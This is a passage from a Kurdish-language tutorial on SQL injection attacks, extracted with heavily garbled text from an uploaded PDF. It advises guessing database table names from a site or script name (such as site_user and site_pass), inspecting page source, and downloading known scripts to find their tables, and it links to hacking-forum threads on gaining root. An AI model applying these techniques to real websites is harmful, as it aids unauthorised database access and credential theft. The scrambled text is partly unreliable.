<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

(<br />

)<br />

له سهرهوه باسم كرد بهشێوهی ئهگهر بێت و فيرژنی له خوارووی 5 بی<br />

يان لهبهر ئهوهی ھهندێ كات دهسهاڵتت نادات تهيبڵهكان ببينی ئهوهبه<br />

مهزهندهكردن تخمين دايدهنێين واتا يهك يهك تاقی دهكهينهوه بهاڵم<br />

ڕيگهی تر ھهيه بۆ ئاسانكاری له كاتی تاقی كردنوهی تهيبڵهكان<br />

ھهندێجار ھهيه سكريپت تايبهته به بابهتێك وهک<br />

بۆيه ئاسايه ئهگهر ناوی تهيبڵهكان ببێته<br />

.<br />

sound<br />

sound_user<br />

سكريپتی دهنگی<br />

sound_pass ,<br />

يان ئهگهر سكريبتهكه ناسراو بوو ئهوه ھهڵسه به دابهزاندنی سكريپتهكه<br />

لهسهر كۆمپيوتهرهكهت تهماشای تهيبڵهكان بكه بۆ دۆزينهوهيان<br />

وه ئهگهر سكريپتهكه نهناسراو بوو ئهوه دهتوانی بگهڕێ له<br />

به دوای ھهمان سكريپت بهاڵم لهسهر ڤێرژنی ئيشبكات وهك له خاڵی<br />

5 هم باسم كرد ئهوكات بهئاسانی تهيبڵهكان بدۆزهوه.‏<br />

google<br />

5<br />

admin<br />

view source<br />

بدۆزهوه<br />

وه ئهگهر ھهرسهركهوتوو نهبووی ئهوه الپه<br />

بكه<br />

كليكی الی ڕاست بكه پاشان كليك لهسهر<br />

تهماشای كۆدهكان بكه لهوێ زۆرجارزانيارى بةسوود دهنوسرێ<br />

يان ھهلسه به تاقی كردنه<br />

ئهگهر سايتهكه ناوی<br />

بنووسه<br />

h4kurd.com<br />

ناوی سايتهكه و تهيبڵ وهك بۆ نموونه<br />

بوو ئهوه تهيبڵهكان بهم شيوهيه<br />

h4kurd_user<br />

h4kurd_pass<br />

.<br />

- 39 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

kurd<br />

يان ناوی داتابێزی وهرگره<br />

بوو ئهوه بهم شێوه لێبكه<br />

بۆ نموونه ئهگهر ناوی داتا بێزی<br />

kurd_user<br />

kurd_pass<br />

ئهو ڕيگهيه بۆ ئهو سكريپتانه زۆر سهركهوتووه كه بهتايبهت دوورست<br />

دهكرێ .<br />

--------------------------------<br />

بۆ زانينی چۆنيهتی دابهزاندنی سكريپت لهسهر كۆمپيوتهر وهتاقی<br />

كردنهی ھهڵهی sql inection به ڤيديۆ شيمكريتهوه چۆنيهتی دانانی<br />

سكريپت لهگهڵ بهرنامهی پێويست بهناوی دابهزاندنی سكريپت و<br />

بهرنامهی پێويست ).....<br />

)<br />

-------------------------------------------<br />

- 40 -<br />

@ @@ @


یوه<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

بۆ زياتر زانياری دهتوانی سهردانی ئهو بهستهرانهی خوارهوهبكهيت<br />

<strong>SQL</strong> Helper<br />

http://h4kurd.com/h4kurd/thread-8812.html<br />

شيكرنهوه بهرنامهی<br />

چارهسهری پيشاننهدانی table<br />

له كاتی <strong>Injection</strong><br />

http://h4kurd.com/h4kurd/thread-9033.html<br />

سهرهتايهك بۆ فێربوونی ھاكی سايت له<br />

ڕێگهی sql injection<br />

http://h4kurd.com/h4kurd/thread-7970.html<br />

<strong>SQL</strong> ھهتا ھێنانی<br />

r00t<br />

http://h4kurd.com/h4kurd/thread-11332.html<br />

چارهسهركردنی Forbidden له <strong>Injection</strong><br />

http://h4kurd.com/h4kurd/thread-10729.html<br />

------------------------------------------------------------<br />

لهكۆتايی دا دهڵێم ئهو چهند دێرهی سهرهوه كورته پێناسهيكه ھێرشی<br />

بوو ھيوادارم سوودتان لێوهرگرتبی<br />

بێگومان ئهوهی نوسيومه بێھهڵه نيه بۆيه داوای ڵيبوردن دهكهم له<br />

ھهموو ھهڵهكان ئهو زانياريانه به گوێرهی تێگهيشتنی و تاقی كردنه<br />

خۆمه.‏<br />

---------------------------------------------<br />

<strong>SQL</strong> <strong>Injection</strong><br />

- 41 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

دوای ڵيبووردن له ھهموو ئهو كهسانه دهكهم كه زيا نێكی بچوكم<br />

پێگهياندبی چ بهبێ ھۆ يان له ئهنجامی كاردانهوه .<br />

- 42 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

- 43 -<br />

@ @@ @

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!